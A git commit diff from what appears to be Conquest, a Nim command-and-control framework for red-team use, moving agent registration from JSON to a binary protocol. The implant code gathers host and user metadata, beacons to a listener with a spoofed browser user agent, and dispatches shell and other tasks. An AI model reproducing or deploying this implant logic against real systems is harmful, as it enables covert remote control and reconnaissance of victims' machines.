Implemented agent registration to match new binary structure instead of json.

This commit is contained in:
Jakob Friedl
2025-07-21 22:07:25 +02:00
parent 99f55cc04f
commit 9f15026fd1
28 changed files with 452 additions and 327 deletions

View File

@@ -23,7 +23,8 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
type type
AgentConfig* = ref object AgentConfig* = ref object
listener*: string agentId*: string
listenerId*: string
ip*: string ip*: string
port*: int port*: int
sleep*: int sleep*: int

View File

@@ -1,8 +1,8 @@
import os, strutils, strformat, winim, times, algorithm import os, strutils, strformat, winim, times, algorithm
import ../[agentTypes, utils] import ../agentTypes
import ../task/result import ../core/taskresult
import ../../../common/types import ../../../common/[types, utils]
# Retrieve current working directory # Retrieve current working directory
proc taskPwd*(config: AgentConfig, task: Task): TaskResult = proc taskPwd*(config: AgentConfig, task: Task): TaskResult =

View File

@@ -1,8 +1,8 @@
import winim, osproc, strutils, strformat import winim, osproc, strutils, strformat
import ../task/result import ../core/taskresult
import ../[utils, agentTypes] import ../agentTypes
import ../../../common/types import ../../../common/[types, utils]
proc taskShell*(config: AgentConfig, task: Task): TaskResult = proc taskShell*(config: AgentConfig, task: Task): TaskResult =

View File

@@ -1,8 +1,8 @@
import os, strutils, strformat import os, strutils, strformat
import ../[agentTypes, utils] import ../[agentTypes]
import ../task/result import ../core/taskresult
import ../../../common/[types, serialize] import ../../../common/[types, utils, serialize]
proc taskSleep*(config: AgentConfig, task: Task): TaskResult = proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
@@ -16,7 +16,6 @@ proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
# Updating sleep in agent config # Updating sleep in agent config
config.sleep = delay config.sleep = delay
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
except CatchableError as err: except CatchableError as err:

View File

@@ -1,46 +1,44 @@
import httpclient, json, strformat, asyncdispatch import httpclient, json, strformat, asyncdispatch
import ./[agentTypes, utils, agentInfo] import ./metadata
import ../../common/types import ../agentTypes
import ../../../common/[types, utils]
proc register*(config: AgentConfig): string = const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
let client = newAsyncHttpClient() proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
# Define headers let client = newAsyncHttpClient(userAgent = USER_AGENT)
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
# Create registration payload # Define HTTP headers
let body = %*{ client.headers = newHttpHeaders({
"username": getUsername(), "Content-Type": "application/octet-stream",
"hostname":getHostname(), "Content-Length": $registrationData.len
"domain": getDomain(), })
"ip": getIPv4Address(),
"os": getOSVersion(), let body = registrationData.toString()
"process": getProcessExe(),
"pid": getProcessId(),
"elevated": isElevated(),
"sleep": config.sleep
}
echo $body
try: try:
# Register agent to the Conquest server # Register agent to the Conquest server
return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body) discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
except CatchableError as err: except CatchableError as err:
echo "[-] [register]:", err.msg echo "[-] [register]:", err.msg
quit(0) quit(0)
finally: finally:
client.close() client.close()
proc getTasks*(config: AgentConfig, agent: string): string = return true
let client = newAsyncHttpClient() proc getTasks*(config: AgentConfig): string =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
var responseBody = "" var responseBody = ""
try: try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks") responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listenerId}/{config.agentId}/tasks")
return responseBody return responseBody
except CatchableError as err: except CatchableError as err:
@@ -52,9 +50,9 @@ proc getTasks*(config: AgentConfig, agent: string): string =
return "" return ""
proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[byte]): bool = proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient() let client = newAsyncHttpClient(userAgent = USER_AGENT)
# Define headers # Define headers
client.headers = newHttpHeaders({ client.headers = newHttpHeaders({
@@ -68,7 +66,7 @@ proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[b
try: try:
# Send binary task result data to server # Send binary task result data to server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{uuidToString(taskResult.listenerId)}/{uuidToString(taskResult.agentId)}/{uuidToString(taskResult.taskId)}/results", body) discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
except CatchableError as err: except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time # When the listener is not reachable, don't kill the application, but check in at the next time

View File

@@ -1,6 +1,7 @@
import winim, os, net, strformat, strutils, registry import winim, os, net, strformat, strutils, registry
import ./[agentTypes, utils] import ../agentTypes
import ../../../common/[types, utils]
# Hostname/Computername # Hostname/Computername
proc getHostname*(): string = proc getHostname*(): string =
@@ -68,6 +69,69 @@ proc getIPv4Address*(): string =
return $getPrimaryIpAddr() return $getPrimaryIpAddr()
# Windows Version fingerprinting # Windows Version fingerprinting
proc getWindowsVersion*(info: agentTypes.OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return "Windows 11"
else:
return "Windows 10"
else:
case build:
of 20348:
return "Windows Server 2022"
of 17763:
return "Windows Server 2019"
of 14393:
return "Windows Server 2016"
else:
return fmt"Windows Server 10.x (Build: {build})"
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return "Windows 8.1"
else:
return "Windows Server 2012 R2"
of 2:
if productType == WORKSTATION:
return "Windows 8"
else:
return "Windows Server 2012"
of 1:
if productType == WORKSTATION:
return "Windows 7"
else:
return "Windows Server 2008 R2"
of 0:
if productType == WORKSTATION:
return "Windows Vista"
else:
return "Windows Server 2008"
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return "Windows XP x64 Edition"
else:
return "Windows Server 2003"
elif minor == 1:
return "Windows XP"
else:
discard
return "Unknown Windows Version"
proc getProductType(): ProductType = proc getProductType(): ProductType =
# The product key is retrieved from the registry # The product key is retrieved from the registry
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions # HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
@@ -108,4 +172,29 @@ proc getOSVersion*(): string =
else: else:
return "Unknown" return "Unknown"
proc getRegistrationData*(config: AgentConfig): AgentRegistrationData =
return AgentRegistrationData(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_RESPONSE),
flags: cast[uint16](FLAG_PLAINTEXT),
seqNr: 1'u32, # TODO: Implement sequence tracking
size: 0'u32,
hmac: default(array[16, byte])
),
metadata: AgentMetadata(
agentId: uuidToUint32(config.agentId),
listenerId: uuidToUint32(config.listenerId),
username: getUsername().toBytes(),
hostname: getHostname().toBytes(),
domain: getDomain().toBytes(),
ip: getIPv4Address().toBytes(),
os: getOSVersion().toBytes(),
process: getProcessExe().toBytes(),
pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](config.sleep)
)
)

View File

@@ -1,7 +1,6 @@
import strutils, strformat import strutils, strformat
import ../[agentTypes, utils] import ../../../common/[types, utils, serialize]
import ../../../common/[types, serialize]
proc deserializeTask*(bytes: seq[byte]): Task = proc deserializeTask*(bytes: seq[byte]): Task =
@@ -127,6 +126,39 @@ proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
return header & body return header & body
proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
var packer = initPacker()
# Serialize registration data
packer
.add(data.metadata.agentId)
.add(data.metadata.listenerId)
.addVarLengthMetadata(data.metadata.username)
.addVarLengthMetadata(data.metadata.hostname)
.addVarLengthMetadata(data.metadata.domain)
.addVarLengthMetadata(data.metadata.ip)
.addVarLengthMetadata(data.metadata.os)
.addVarLengthMetadata(data.metadata.process)
.add(data.metadata.pid)
.add(data.metadata.isElevated)
.add(data.metadata.sleep)
let metadata = packer.pack()
packer.reset()
# TODO: Encrypt metadata
# Serialize header
packer
.add(data.header.magic)
.add(data.header.version)
.add(data.header.packetType)
.add(data.header.flags)
.add(data.header.seqNr)
.add(cast[uint32](metadata.len))
.addData(data.header.hmac)
let header = packer.pack()
return header & metadata

View File

@@ -1,7 +1,8 @@
import strutils, tables, json import strutils, tables, json
import ../agentTypes import ../agentTypes
import ../commands/commands import ../commands/commands
import ../../../common/types import ../../../common/[types, utils]
import sugar import sugar
proc handleTask*(config: AgentConfig, task: Task): TaskResult = proc handleTask*(config: AgentConfig, task: Task): TaskResult =
@@ -19,4 +20,5 @@ proc handleTask*(config: AgentConfig, task: Task): TaskResult =
}.toTable }.toTable
# Handle task command # Handle task command
return handlers[cast[CommandType](task.command)](config, task) return handlers[cast[CommandType](task.command)](config, task)

View File

@@ -1,5 +1,5 @@
import times import times
import ../../../common/types import ../../../common/[types, utils]
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult = proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =

View File

@@ -1,9 +1,10 @@
import strformat, os, times import strformat, os, times, random
import winim import winim
import sugar
import ./[agentTypes, http] import ./agentTypes
import task/handler, task/packer import core/[task, packer, http, metadata]
import ../../common/types import ../../common/[types, utils]
const ListenerUuid {.strdefine.}: string = "" const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0 const Octet1 {.intdefine.}: int = 0
@@ -14,6 +15,7 @@ const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10 const SleepDelay {.intdefine.}: int = 10
proc main() = proc main() =
randomize()
#[ #[
The process is the following: The process is the following:
@@ -35,14 +37,19 @@ proc main() =
# Create agent configuration # Create agent configuration
var config = AgentConfig( var config = AgentConfig(
listener: ListenerUuid, agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address, ip: address,
port: ListenerPort, port: ListenerPort,
sleep: SleepDelay sleep: SleepDelay
) )
let agent = config.register() # Create registration payload
echo fmt"[+] [{agent}] Agent registered." let registrationData: AgentRegistrationData = config.getRegistrationData()
let registrationBytes = serializeRegistrationData(registrationData)
config.register(registrationBytes)
echo fmt"[+] [{config.agentId}] Agent registered."
#[ #[
Agent routine: Agent routine:
@@ -54,13 +61,14 @@ proc main() =
]# ]#
while true: while true:
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
sleep(config.sleep * 1000) sleep(config.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in." echo fmt"[{date}] Checking in."
# Retrieve task queue for the current agent # Retrieve task queue for the current agent
let packet: string = config.getTasks(agent) let packet: string = config.getTasks()
if packet.len <= 0: if packet.len <= 0:
echo "No tasks to execute." echo "No tasks to execute."
@@ -78,9 +86,8 @@ proc main() =
result: TaskResult = config.handleTask(task) result: TaskResult = config.handleTask(task)
resultData: seq[byte] = serializeTaskResult(result) resultData: seq[byte] = serializeTaskResult(result)
echo resultData # echo resultData
config.postResults(resultData)
discard config.postResults(result, resultData)
when isMainModule: when isMainModule:
main() main()

View File

@@ -1,8 +1,8 @@
# Agent configuration # Agent configuration
-d:ListenerUuid="CFD80565" -d:ListenerUuid="A5466110"
-d:Octet1="127" -d:Octet1="172"
-d:Octet2="0" -d:Octet2="29"
-d:Octet3="0" -d:Octet3="177"
-d:Octet4="1" -d:Octet4="43"
-d:ListenerPort=9999 -d:ListenerPort=8888
-d:SleepDelay=3 -d:SleepDelay=5

View File

@@ -1,90 +0,0 @@
import strformat, strutils
import ./agentTypes
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return "Windows 11"
else:
return "Windows 10"
else:
case build:
of 20348:
return "Windows Server 2022"
of 17763:
return "Windows Server 2019"
of 14393:
return "Windows Server 2016"
else:
return fmt"Windows Server 10.x (Build: {build})"
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return "Windows 8.1"
else:
return "Windows Server 2012 R2"
of 2:
if productType == WORKSTATION:
return "Windows 8"
else:
return "Windows Server 2012"
of 1:
if productType == WORKSTATION:
return "Windows 7"
else:
return "Windows Server 2008 R2"
of 0:
if productType == WORKSTATION:
return "Windows Vista"
else:
return "Windows Server 2008"
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return "Windows XP x64 Edition"
else:
return "Windows Server 2003"
elif minor == 1:
return "Windows XP"
else:
discard
return "Unknown Windows Version"
proc toString*(data: seq[byte]): string =
result = newString(data.len)
for i, b in data:
result[i] = char(b)
proc toBytes*(data: string): seq[byte] =
result = newSeq[byte](data.len)
for i, c in data:
result[i] = byte(c.ord)
proc uuidToUint32*(uuid: string): uint32 =
return fromHex[uint32](uuid)
proc uuidToString*(uuid: uint32): string =
return uuid.toHex(8)
proc toUint32*(data: seq[byte]): uint32 =
if data.len != 4:
raise newException(ValueError, "Expected 4 bytes for uint32")
return uint32(data[0]) or
(uint32(data[1]) shl 8) or
(uint32(data[2]) shl 16) or
(uint32(data[3]) shl 24)

View File

@@ -1,6 +1,5 @@
import streams, strutils import streams, strutils
import ./types import ./[types, utils]
type type
Packer* = ref object Packer* = ref object
stream: StringStream stream: StringStream
@@ -34,6 +33,19 @@ proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
packer.addData(arg.data) packer.addData(arg.data)
return packer return packer
proc addVarLengthMetadata*(packer: Packer, metadata: seq[byte]): Packer {.discardable.} =
# Add length of metadata field
packer.add(cast[uint32](metadata.len))
if metadata.len <= 0:
# Field is empty (e.g. not domain joined)
return packer
# Add content
packer.addData(metadata)
return packer
proc pack*(packer: Packer): seq[byte] = proc pack*(packer: Packer): seq[byte] =
packer.stream.setPosition(0) packer.stream.setPosition(0)
let data = packer.stream.readAll() let data = packer.stream.readAll()
@@ -102,4 +114,15 @@ proc getArgument*(unpacker: Unpacker): TaskArg =
of BOOL: of BOOL:
result.data = unpacker.getBytes(1) result.data = unpacker.getBytes(1)
else: else:
discard discard
proc getVarLengthMetadata*(unpacker: Unpacker): string =
# Read length of metadata field
let length = unpacker.getUint32()
if length <= 0:
return ""
# Read content
return unpacker.getBytes(int(length)).toString()

View File

@@ -13,7 +13,8 @@ type
PacketType* = enum PacketType* = enum
MSG_TASK = 0'u8 MSG_TASK = 0'u8
MSG_RESPONSE = 1'u8 MSG_RESPONSE = 1'u8
MSG_REGISTER = 100'u8 MSG_REGISTER = 2'u8
MSG_CHECKIN = 100'u8
ArgType* = enum ArgType* = enum
STRING = 0'u8 STRING = 0'u8
@@ -101,27 +102,36 @@ type
# Agent structure # Agent structure
type type
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
AgentMetadata* = object
agentId*: uint32
listenerId*: uint32
username*: seq[byte]
hostname*: seq[byte]
domain*: seq[byte]
ip*: seq[byte]
os*: seq[byte]
process*: seq[byte]
pid*: uint32
isElevated*: uint8
sleep*: uint32
AgentRegistrationData* = object AgentRegistrationData* = object
username*: string header*: Header
hostname*: string # encMaterial*: seq[byte] # Encryption material for the agent registration
domain*: string metadata*: AgentMetadata
ip*: string
os*: string
process*: string
pid*: int
elevated*: bool
sleep*: int
Agent* = ref object Agent* = ref object
name*: string agentId*: string
listener*: string listenerId*: string
username*: string username*: string
hostname*: string hostname*: string
domain*: string domain*: string
process*: string
pid*: int
ip*: string ip*: string
os*: string os*: string
process*: string
pid*: int
elevated*: bool elevated*: bool
sleep*: int sleep*: int
jitter*: float jitter*: float

53
src/common/utils.nim Normal file
View File

@@ -0,0 +1,53 @@
import strutils, sequtils, random, strformat
proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters)
(0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join()
proc uuidToUint32*(uuid: string): uint32 =
return fromHex[uint32](uuid)
proc uuidToString*(uuid: uint32): string =
return uuid.toHex(8)
proc toString*(data: seq[byte]): string =
result = newString(data.len)
for i, b in data:
result[i] = char(b)
proc toBytes*(data: string): seq[byte] =
result = newSeq[byte](data.len)
for i, c in data:
result[i] = byte(c.ord)
proc toUint32*(data: seq[byte]): uint32 =
if data.len != 4:
raise newException(ValueError, "Expected 4 bytes for uint32")
return uint32(data[0]) or
(uint32(data[1]) shl 8) or
(uint32(data[2]) shl 16) or
(uint32(data[3]) shl 24)
proc toHexDump*(data: seq[byte]): string =
for i, b in data:
result.add(b.toHex(2))
if i < data.len - 1:
if (i + 1) mod 4 == 0:
result.add(" | ") # Add | every 4 bytes
else:
result.add(" ") # Regular space
proc toBytes*(value: uint16): seq[byte] =
return @[
byte(value and 0xFF),
byte((value shr 8) and 0xFF)
]
proc toBytes*(value: uint32): seq[byte] =
return @[
byte(value and 0xFF),
byte((value shr 8) and 0xFF),
byte((value shr 16) and 0xFF),
byte((value shr 24) and 0xFF)
]

View File

@@ -3,37 +3,39 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys
import ../[utils, globals] import ../[utils, globals]
import ../db/database import ../db/database
import ../task/packer import ../task/packer
import ../../common/types import ../../common/[types, utils]
import sugar
# Utility functions # Utility functions
proc add*(cq: Conquest, agent: Agent) = proc add*(cq: Conquest, agent: Agent) =
cq.agents[agent.name] = agent cq.agents[agent.agentId] = agent
#[ #[
Agent API Agent API
Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
]# ]#
proc register*(agent: Agent): bool = proc register*(registrationData: seq[byte]): bool =
# The following line is required to be able to use the `cq` global variable for console output # The following line is required to be able to use the `cq` global variable for console output
{.cast(gcsafe).}: {.cast(gcsafe).}:
# Check if listener that is requested exists let agent: Agent = deserializeNewAgent(registrationData)
# TODO: Verify that the listener accessed is also the listener specified in the URL
# This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database # Validate that listener exists
if not cq.dbListenerExists(agent.listener.toUpperAscii): if not cq.dbListenerExists(agent.listenerId.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n") cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listenerId}.", "\n")
return false return false
# Store agent in database # # Store agent in database
if not cq.dbStoreAgent(agent): if not cq.dbStoreAgent(agent):
cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.name} into database.", "\n") cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.agentId} into database.", "\n")
return false return false
cq.add(agent) cq.add(agent)
let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss") let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
return true return true

View File

@@ -3,84 +3,71 @@ import sequtils, strutils, times, base64
import ./handlers import ./handlers
import ../[utils, globals] import ../[utils, globals]
import ../../common/types import ../../common/[types, utils]
proc encode(bytes: seq[seq[byte]]): string =
result = ""
for task in bytes:
result &= encode(task)
proc error404*(ctx: Context) {.async.} = proc error404*(ctx: Context) {.async.} =
resp "", Http404 resp "", Http404
#[ #[
POST /{listener-uuid}/register POST /register
Called from agent to register itself to the conquest server Called from agent to register itself to the conquest server
]# ]#
proc register*(ctx: Context) {.async.} = proc register*(ctx: Context) {.async.} =
# Check headers # Check headers
# If POST data is not JSON data, return 404 error code # If POST data is not binary data, return 404 error code
if ctx.request.contentType != "application/json": if ctx.request.contentType != "application/octet-stream":
resp "", Http404 resp "", Http404
return return
# The JSON data for the agent registration has to be in the following format
#[
{
"username": "username",
"hostname":"hostname",
"domain": "domain.local",
"ip": "ip-address",
"os": "operating-system",
"process": "agent.exe",
"pid": 1234,
"elevated": false.
"sleep": 10
}
]#
try: try:
let let agentId = register(ctx.request.body.toBytes())
postData: JsonNode = parseJson(ctx.request.body) resp "Ok", Http200
agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
agentUuid: string = generateUUID()
listenerUuid: string = ctx.getPathParams("listener")
date: DateTime = now()
let agent: Agent = Agent(
name: agentUuid,
listener: listenerUuid,
username: agentRegistrationData.username,
hostname: agentRegistrationData.hostname,
domain: agentRegistrationData.domain,
process: agentRegistrationData.process,
pid: agentRegistrationData.pid,
ip: agentRegistrationData.ip,
os: agentRegistrationData.os,
elevated: agentRegistrationData.elevated,
sleep: agentRegistrationData.sleep,
jitter: 0.2,
tasks: @[],
firstCheckin: date,
latestCheckin: date
)
# Fully register agent and add it to database
if not agent.register():
# Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
# Return a 404 error code either way
resp "", Http404
return
# If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
resp agent.name
except CatchableError: except CatchableError:
# JSON data is invalid or does not match the expected format (described above)
resp "", Http404 resp "", Http404
return # try:
# let
# postData: JsonNode = parseJson(ctx.request.body)
# agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
# agentUuid: string = generateUUID()
# listenerUuid: string = ctx.getPathParams("listener")
# date: DateTime = now()
# let agent: Agent = Agent(
# name: agentUuid,
# listener: listenerUuid,
# username: agentRegistrationData.username,
# hostname: agentRegistrationData.hostname,
# domain: agentRegistrationData.domain,
# process: agentRegistrationData.process,
# pid: agentRegistrationData.pid,
# ip: agentRegistrationData.ip,
# os: agentRegistrationData.os,
# elevated: agentRegistrationData.elevated,
# sleep: agentRegistrationData.sleep,
# jitter: 0.2,
# tasks: @[],
# firstCheckin: date,
# latestCheckin: date
# )
# # Fully register agent and add it to database
# if not agent.register():
# # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
# # Return a 404 error code either way
# resp "", Http404
# return
# # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
# resp agent.name
# except CatchableError:
# # JSON data is invalid or does not match the expected format (described above)
# resp "", Http404
# return
#[ #[
GET /{listener-uuid}/{agent-uuid}/tasks GET /{listener-uuid}/{agent-uuid}/tasks
@@ -122,17 +109,11 @@ proc getTasks*(ctx: Context) {.async.} =
resp "", Http404 resp "", Http404
#[ #[
POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results POST /results
Called from agent to post results of a task Called from agent to post results of a task
]# ]#
proc postResults*(ctx: Context) {.async.} = proc postResults*(ctx: Context) {.async.} =
let
listener = ctx.getPathParams("listener")
agent = ctx.getPathParams("agent")
task = ctx.getPathParams("task")
# Check headers # Check headers
# If POST data is not binary data, return 404 error code # If POST data is not binary data, return 404 error code
if ctx.request.contentType != "application/octet-stream": if ctx.request.contentType != "application/octet-stream":

View File

@@ -3,12 +3,12 @@ import terminal, strformat, strutils, tables, times, system, osproc, streams
import ../utils import ../utils
import ../task/dispatcher import ../task/dispatcher
import ../db/database import ../db/database
import ../../common/types import ../../common/[types, utils]
# Utility functions # Utility functions
proc addMultiple*(cq: Conquest, agents: seq[Agent]) = proc addMultiple*(cq: Conquest, agents: seq[Agent]) =
for a in agents: for a in agents:
cq.agents[a.name] = a cq.agents[a.agentId] = a
proc delAgent*(cq: Conquest, agentName: string) = proc delAgent*(cq: Conquest, agentName: string) =
cq.agents.del(agentName) cq.agents.del(agentName)
@@ -65,8 +65,8 @@ proc agentInfo*(cq: Conquest, name: string) =
# TODO: Improve formatting # TODO: Improve formatting
cq.writeLine(fmt""" cq.writeLine(fmt"""
Agent name (UUID): {agent.name} Agent name (UUID): {agent.agentId}
Connected to listener: {agent.listener} Connected to listener: {agent.listenerId}
────────────────────────────────────────── ──────────────────────────────────────────
Username: {agent.username} Username: {agent.username}
Hostname: {agent.hostname} Hostname: {agent.hostname}
@@ -113,9 +113,9 @@ proc agentInteract*(cq: Conquest, name: string) =
var command: string = "" var command: string = ""
# Change prompt indicator to show agent interaction # Change prompt indicator to show agent interaction
cq.setIndicator(fmt"[{agent.name}]> ") cq.setIndicator(fmt"[{agent.agentId}]> ")
cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")]) cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")])
cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.name, resetStyle, ". Type 'help' to list available commands.\n") cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.agentId, resetStyle, ". Type 'help' to list available commands.\n")
cq.interactAgent = agent cq.interactAgent = agent
while command.replace(" ", "") != "back": while command.replace(" ", "") != "back":

View File

@@ -4,7 +4,7 @@ import prologue
import ../utils import ../utils
import ../api/routes import ../api/routes
import ../db/database import ../db/database
import ../../common/types import ../../common/[types, utils]
# Utility functions # Utility functions
proc delListener(cq: Conquest, listenerName: string) = proc delListener(cq: Conquest, listenerName: string) =
@@ -66,9 +66,9 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
var listener = newApp(settings = listenerSettings) var listener = newApp(settings = listenerSettings)
# Define API endpoints # Define API endpoints
listener.post("{listener}/register", routes.register) listener.post("register", routes.register)
listener.get("{listener}/{agent}/tasks", routes.getTasks) listener.get("{listener}/{agent}/tasks", routes.getTasks)
listener.post("{listener}/{agent}/{task}/results", routes.postResults) listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404) listener.registerErrorHandler(Http404, routes.error404)
# Store listener in database # Store listener in database
@@ -99,9 +99,9 @@ proc restartListeners*(cq: Conquest) =
listener = newApp(settings = settings) listener = newApp(settings = settings)
# Define API endpoints # Define API endpoints
listener.post("{listener}/register", routes.register) listener.post("register", routes.register)
listener.get("{listener}/{agent}/tasks", routes.getTasks) listener.get("{listener}/{agent}/tasks", routes.getTasks)
listener.post("{listener}/{agent}/{task}/results", routes.postResults) listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404) listener.registerErrorHandler(Http404, routes.error404)
try: try:

View File

@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
import ./[agent, listener] import ./[agent, listener]
import ../[globals, utils] import ../[globals, utils]
import ../db/database import ../db/database
import ../../common/types import ../../common/[types, utils]
#[ #[
Argument parsing Argument parsing

View File

@@ -2,7 +2,7 @@ import system, terminal, tiny_sqlite
import ./[dbAgent, dbListener] import ./[dbAgent, dbListener]
import ../utils import ../utils
import ../../common/types import ../../common/[types, utils]
# Export functions so that only ./db/database is required to be imported # Export functions so that only ./db/database is required to be imported
export dbAgent, dbListener export dbAgent, dbListener

View File

@@ -1,7 +1,7 @@
import system, terminal, tiny_sqlite, times import system, terminal, tiny_sqlite, times
import ../utils import ../utils
import ../../common/types import ../../common/[types, utils]
#[ #[
Agent database functions Agent database functions
@@ -14,7 +14,7 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
conquestDb.exec(""" conquestDb.exec("""
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, jitter, firstCheckin, latestCheckin) INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, jitter, firstCheckin, latestCheckin)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.name, agent.listener, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss")) """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"))
conquestDb.close() conquestDb.close()
except: except:
@@ -31,11 +31,11 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents;"): for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents;"):
